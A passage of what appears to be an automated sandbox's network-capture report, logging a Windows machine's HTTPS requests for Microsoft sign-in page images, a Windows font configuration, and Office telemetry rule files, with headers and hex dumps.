8	192.168.2.5	49725	13.107.246.44	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:29 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:29 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:29 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: 1703d12b-401e-0072-4b4c-26b3a6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200929Z-r197bdfb6b49q4951yb663v3ds00000000n0000000002g30 x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:29 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49726	13.107.246.44	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:29 UTC	617	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:29 UTC	779	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:29 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: 02cc47e9-701e-0034-7e50-268721000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200929Z-15b8d89586fnsf5zd126eyaetw00000000t0000000002q9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-24 20:09:29 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49728	13.107.246.45	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:29 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:29 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:29 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: d2e7ca62-d01e-0035-76f5-25af42000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200929Z-15b8d89586fs9clcgrr6f2d6vg000000022g00000000nnmy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-24 20:09:29 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49727	13.107.246.44	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:29 UTC	420	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:29 UTC	780	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:29 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:07 GMT ETag: 0x8D79ED359808AB6 x-ms-request-id: e747da50-801e-0042-1450-260d69000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200929Z-r197bdfb6b46gt25pp4413eaf000000000hg0000000055es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-24 20:09:29 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49729	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:29 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-24 20:09:29 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=246973 Date: Thu, 24 Oct 2024 20:09:29 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49734	13.107.246.44	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:30 UTC	604	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:30 UTC	759	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:30 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 49fed40f-701e-001b-7df4-258aea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200930Z-16849878b788tnsxzb2smucwdc000000084g00000000q044 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:30 UTC	15625	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-10-24 20:09:30 UTC	1549	IN	Data Raw: 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49735	13.107.246.45	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:30 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:30 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:30 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: 02cc47e9-701e-0034-7e50-268721000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200930Z-16849878b785dznd7xpawq9gcn00000000z00000000040tt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-24 20:09:30 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49738	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-24 20:09:31 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=246971 Date: Thu, 24 Oct 2024 20:09:31 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-24 20:09:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:31 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:31 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:31 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1a9c8bfd-301e-0000-1fee-25eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200931Z-15b8d89586fzhrwgk23ex2bvhw00000002ag0000000022ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:31 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:31 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 31a53d7e-801e-00a3-74f7-217cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200931Z-16849878b78k8q5pxkgux3mbgg000000083000000000pdcp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:31 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:31 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:31 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 52fc638d-b01e-0070-36c5-201cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200931Z-16849878b78s2lqfdex4tmpp78000000084000000000sqep x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:31 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 